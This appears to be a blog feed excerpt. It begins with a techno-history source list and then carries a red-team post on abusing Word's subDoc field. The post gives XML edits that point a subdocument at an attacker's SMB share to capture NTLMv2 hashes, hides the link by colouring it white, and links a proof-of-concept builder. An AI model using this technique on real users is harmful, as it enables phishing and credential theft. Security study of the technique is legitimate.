&lt;p&gt;&lt;strong&gt;Boomkat&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;BASIC CHANNEL - Phylyps Trak&lt;/li&gt;
&lt;li&gt;ANDY STOTT - Never The Right Time&lt;/li&gt;
&lt;li&gt;ANDY STOTT - Unknown Exception&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;DJ Mag&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;11 labels blurring the boundaries of ambient, Dub Techno and the dancefloor&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Mixmag&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Celebrating Black History: Detroit techno icons&lt;/li&gt;
&lt;li&gt;Reclaiming Medellín from gang rule has transformed the Colombian city&#39;s music scene&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;SIX AM Group&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;An Intro to 90s Techno: History, Artists, &amp;amp; Labels&lt;/li&gt;
&lt;li&gt;Techno History Guide: A Deep Dive Into Dub&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;NTS Live&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Rod Modell artist profile&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;fontes-jornalisticas-e-midia&quot;&gt;Fontes Jornalísticas e Mídia&lt;a class=&quot;zola-anchor&quot; href=&quot;#fontes-jornalisticas-e-midia&quot; aria-label=&quot;Anchor link for: fontes-jornalisticas-e-midia&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Medium&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Welch, S. &quot;Techno in Berlin: A Symbol of the City&#39;s Post-Wall Culture&quot; (Berlin Beyond Borders)&lt;/li&gt;
&lt;li&gt;Verma, A. &quot;How the Underground Dance Music Scene Makes Me a Better User Researcher&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;NPR&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;The surprising history behind Berlin&#39;s techno club scene&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;ABC News&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;A Berlin club owner&#39;s mission to give back to Detroit, the city that gave Europe techno&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;The Conversation&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Berlin Wall: how techno music united Germany on the dance floor&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;The New Republic&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Techno Unified Berlin After the Fall of the Wall&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Red Bull Music Academy Daily&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Tear Down This Wall: Reunification and the Explosion of Techno in Berlin&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;fontes-especializadas-e-blogs&quot;&gt;Fontes Especializadas e Blogs&lt;a class=&quot;zola-anchor&quot; href=&quot;#fontes-especializadas-e-blogs&quot; aria-label=&quot;Anchor link for: fontes-especializadas-e-blogs&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Halcyon Days&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Top 20 Dub techno tracks&quot;&lt;/li&gt;
&lt;li&gt;&quot;Chain reaction, an iconic Dub Techno label&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Black Rhino Radio&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Dub Techno: A sonic odyssey through time&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Technonostalgia&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;The Italian Techno Scene of the &#39;90s: A Hidden Gem&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Learning to DJ&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Berlin Techno: Origins After The Wall&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Hardstyle Mag&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;The Impact of COVID-19 on the Electronic Music Industry&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;TECHNO MUSIC&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Nightlife Resurgence: How Techno Clubs Survived and Thrived Post-Pandemic&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Soundvibe Mag&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;New Documentary Explores COVID-19&#39;s Impact on Techno&#39;s Global Rise&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;fontes-institucionais-e-culturais&quot;&gt;Fontes Institucionais e Culturais&lt;a class=&quot;zola-anchor&quot; href=&quot;#fontes-institucionais-e-culturais&quot; aria-label=&quot;Anchor link for: fontes-institucionais-e-culturais&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Google Arts &amp;amp; Culture&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Tresor: The Iconic Berlin Techno Club of the 1990s&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;UNESCO&lt;/strong&gt; (mencionado para reconhecimento de patrimônio cultural)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rave The Planet&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Techno Culture in Berlin - A Journey to Intangible Cultural Heritage&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;discografias-e-labels&quot;&gt;Discografias e Labels&lt;a class=&quot;zola-anchor&quot; href=&quot;#discografias-e-labels&quot; aria-label=&quot;Anchor link for: discografias-e-labels&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Discogs&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Basic Channel – Phylyps Trak (1993)&lt;/li&gt;
&lt;li&gt;Basic Channel – Quadrant Dub (1994)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Echospace313&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Informações sobre Rod Modell/Deepchord/Echospace&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Tresor Berlin&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Underground Resistance artist page&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;midia-regional&quot;&gt;Mídia Regional&lt;a class=&quot;zola-anchor&quot; href=&quot;#midia-regional&quot; aria-label=&quot;Anchor link for: midia-regional&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Expats.cz&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Prague is the thumping new heart of Europe&#39;s techno scene&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;MSU Today&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Ask the expert: How Detroit and its people are integral to the rise of techno music&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Mondo Internazionale&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Changing Cities: BERLIN - Reunification and politics through techno and club culture&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;wikipedia-base-factual&quot;&gt;Wikipedia (Base factual)&lt;a class=&quot;zola-anchor&quot; href=&quot;#wikipedia-base-factual&quot; aria-label=&quot;Anchor link for: wikipedia-base-factual&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Dub Techno&lt;/li&gt;
&lt;li&gt;Basic Channel&lt;/li&gt;
&lt;li&gt;Chain Reaction (record label)&lt;/li&gt;
&lt;li&gt;Marcel Dettmann&lt;/li&gt;
&lt;li&gt;Berghain&lt;/li&gt;
&lt;li&gt;DC10 (nightclub)&lt;/li&gt;
&lt;li&gt;Deepchord&lt;/li&gt;
&lt;li&gt;Underground Resistance&lt;/li&gt;
&lt;li&gt;Hauntology (music)&lt;/li&gt;
&lt;li&gt;Music of the Netherlands&lt;/li&gt;
&lt;/ul&gt;
</content>
	</entry>
	<entry xml:lang="en">
		<title>Abusing the Microsoft Word feature subDoc in phishing campaigns</title>
		<published>2022-04-19T00:00:00+00:00</published>
		<updated>2022-04-19T00:00:00+00:00</updated>
		<link href="https://biscoito.eu/posts/abusing-the-microsoft-word-feature-subdoc-in-phishing-campaigns/" type="text/html"/>
		<id>https://biscoito.eu/posts/abusing-the-microsoft-word-feature-subdoc-in-phishing-campaigns/</id>
		<content type="html">&lt;h2 id=&quot;microsoft-office-exploitation&quot;&gt;Microsoft Office Exploitation&lt;a class=&quot;zola-anchor&quot; href=&quot;#microsoft-office-exploitation&quot; aria-label=&quot;Anchor link for: microsoft-office-exploitation&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Microsoft_Office&quot;&gt;Microsoft Office&lt;/a&gt; suite is known to have plenty of features that can be abused by attackers, red-teamers and security researchers, these features can be abused in such a way that gives the attacker unlimited possibilities and attack vectors, attacks can go from a simple &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/NT_LAN_Manager#NTLMv2&quot;&gt;NTLMv2&lt;/a&gt; hash steal to &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Arbitrary_code_execution&quot;&gt;Arbitrary Code Execution&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You might think that Microsoft Office is quite an uncommon way to execute malware, however it&#39;s not only used to execute malicious code. It&#39;s mainly used in red-team operations for phishing campaigns. The existence of Microsoft Office makes it for an ideal tool in phishing campaigns.&lt;/p&gt;
&lt;h2 id=&quot;abusing-the-microsoft-word-feature-subdoc&quot;&gt;Abusing the Microsoft Word feature: subDoc&lt;a class=&quot;zola-anchor&quot; href=&quot;#abusing-the-microsoft-word-feature-subdoc&quot; aria-label=&quot;Anchor link for: abusing-the-microsoft-word-feature-subdoc&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://c-rex.net/projects/samples/ooxml/e1/Part4/OOXML_P4_DOCX_subDoc_topic_ID0EAC41.html&quot;&gt;subDoc&lt;/a&gt; field is an &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;http://officeopenxml.com/&quot;&gt;OOXML&lt;/a&gt; (Open Office XML) field implemented in Microsoft Word known to exist ever since from Microsoft Word 2007 to the Microsoft Word 2016. Its whole purpose is to embed a &quot;subdocument&quot; within a master document, for example, embedding an external Word document into a &quot;master&quot; document.&lt;/p&gt;
&lt;p&gt;To add the subDoc field to your Word document is as easy as editing these files in the OOXML package (zip file):&lt;/p&gt;
&lt;h3 id=&quot;word-rels-document-xml-rels&quot;&gt;word/_rels/document.xml.rels&lt;a class=&quot;zola-anchor&quot; href=&quot;#word-rels-document-xml-rels&quot; aria-label=&quot;Anchor link for: word-rels-document-xml-rels&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h3&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;xml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;Relationship&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt; Id&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;rId5&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt; Type&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;http://schemas.openxmlformats.org/officeDocument/2006/relationships/subDocument&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt; Target&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;external_document.docx&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt; TargetMode&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;External&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&quot;word-document-xml&quot;&gt;word/document.xml&lt;a class=&quot;zola-anchor&quot; href=&quot;#word-document-xml&quot; aria-label=&quot;Anchor link for: word-document-xml&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h3&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;xml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;p&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;lt;&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;subDoc&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt; r&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;id&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;rId5&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;p&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As we can see, to embed a subdocument to our master document, we need to provide the file path to the file, often when we can specify an external file path, we can access external &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Server_Message_Block&quot;&gt;SMB&lt;/a&gt; shares, that is, if we can depending on how mature the environment we&#39;re working on is. So then I tried to replace the &lt;code&gt;Target&lt;/code&gt; field with an &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats#unc-paths&quot;&gt;UNC&lt;/a&gt; path to an external SMB server. Upon opening the Word document I received a SMB request on my &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://github.com/SpiderLabs/Responder&quot;&gt;Responder&lt;/a&gt; client with the &lt;code&gt;NTLMv2 Client&lt;/code&gt; (The victim&#39;s IP Address), the &lt;code&gt;NTLMv2 Username&lt;/code&gt; (The victim&#39;s HOSTNAME\username) and the victim&#39;s &lt;code&gt;NTLMv2 Hash&lt;/code&gt;, as shown on the screenshot below.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://b.catgirlsare.sexy/RGMTdAA4ZBno.png&quot; alt=&quot;responder result&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We managed to successfully steal the victim&#39;s NTLMv2 hash, however, there&#39;s one drawback from using this feature, which is that the hyperlink is visible on the Word page as shown in the screenshot below:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://b.catgirlsare.sexy/zflrFrUccHuC.png&quot; alt=&quot;visible hyperlink&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So then I started to mess around with the files inside the OOXML package and figured out that the &lt;code&gt;styles.xml&lt;/code&gt; file contained all the styles for the Hyperlink, such as its color, font, theme, etc… as shown below:&lt;/p&gt;
&lt;h3 id=&quot;word-styles-xml&quot;&gt;word/styles.xml&lt;a class=&quot;zola-anchor&quot; href=&quot;#word-styles-xml&quot; aria-label=&quot;Anchor link for: word-styles-xml&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h3&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;xml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;style&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt; w&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;type&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;character&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt; w&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;styleId&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;Hyperlink&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;lt;&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt; w&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;val&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;Hyperlink&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;lt;&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;basedOn&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt; w&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;val&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;DefaultParagraphFont&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;lt;&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;uiPriority&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt; w&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;val&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;99&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;lt;&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;unhideWhenUsed&lt;/span&gt;&lt;span&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;lt;&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;rsid&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt; w&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;val&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;00400B73&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;lt;&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;rPr&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      &amp;lt;&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt; w&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;val&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;FFFFFF&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt; w&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;themeColor&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;background1&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      &amp;lt;&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;u&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt; w&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;val&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;single&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;lt;/&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;rPr&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;style&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By editing these fields I was able to change the Hyperlink color from the default one to white, so it would disappear on the page, and it did. Easy as that.&lt;/p&gt;
&lt;p&gt;Now you have a completely stealthy and hidden NTLMv2 hash stealer.&lt;/p&gt;
&lt;h2 id=&quot;using-go-subdoc-to-automate-the-whole-process&quot;&gt;Using go-subdoc to automate the whole process&lt;a class=&quot;zola-anchor&quot; href=&quot;#using-go-subdoc-to-automate-the-whole-process&quot; aria-label=&quot;Anchor link for: using-go-subdoc-to-automate-the-whole-process&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Given how manual the whole process to craft a malicious Word document with subDoc is, I decided to write a PoC tool to automate the whole process in Go, it&#39;s called go-subdoc and you can find it on its GitHub repository: https://github.com/offsec-org/go-subdoc.&lt;/p&gt;
